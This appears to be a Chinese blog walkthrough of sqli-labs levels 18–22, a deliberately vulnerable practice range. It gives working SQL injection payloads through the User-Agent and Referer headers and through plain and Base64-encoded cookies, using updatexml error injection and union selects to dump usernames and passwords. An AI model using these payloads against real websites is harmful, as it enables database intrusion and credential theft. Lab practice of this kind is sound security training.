title: sqli-labs靶场18-22
tags: sql-labs
abbrlink: ab52f8fd
date: 2022-08-09 16:41:56

参考crow: https://github.com/crow821/crowsec

less - 18

  • http头注入
  • 浏览器插件ModHeader
  • 通过修改User-Agent: 的值进行注入
  • 原 : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
  • 注入语句 : User-Agent: ' or updatexml(1,concat(0x7e,(database())),1) and '1'='1 (报错注入)
  • 后续通过更改构造语句获得其他的信息
   ' or updatexml(1,concat(0x7e,构造语句)),1) and '1'='1
      构造语句:
      查库: select schema_name from information_schema.schemata;
      查表: select table_name from information_schema.tables where table_schema='security';
      查列: select column_name from information_schema.columns where table_name='users';
      查字段:select username,password from security.users;

less - 19

  • http头注入
  • 浏览器插件ModHeader
  • 通过修改Referer: 的值进行注入
  • 原: Referer: http://192.168.169.149:86/Less-19/
  • 注入语句: ' or updatexml(1,concat(0x7e,(database())),1) and '1'='1
  • 后续通过更改构造语句获得其他的信息
   ' or updatexml(1,concat(0x7e,构造语句)),1) and '1'='1
      构造语句:
      查库: select schema_name from information_schema.schemata;
      查表: select table_name from information_schema.tables where table_schema='security';
      查列: select column_name from information_schema.columns where table_name='users';
      查字段: select username,password from security.users;

less - 20

  • cookie注入
  • 浏览器插件Cookie-Editor
  • 在插件里面修改Value的内容,记得点击左边的保存.
    admin ---> admin'
  • 剩下的语句和其他的注入语句一样
union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users #

less - 21

  • cookie注入
  • 浏览器插件Cookie-Editor
  • 在插件里面修改Value的内容,这一关的值是Base64加密过的通过解码可知晓,记得点击左边的保存.
    YWRtaW4%3D 通过解码后---> admin
  • 剩下的语句和其他的注入语句一样
') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users #
  • 写入Value的内容再通过Base64编码后即可使用.

less - 22

  • 和第21关相似,只不过这一次将’) 换为” 即可!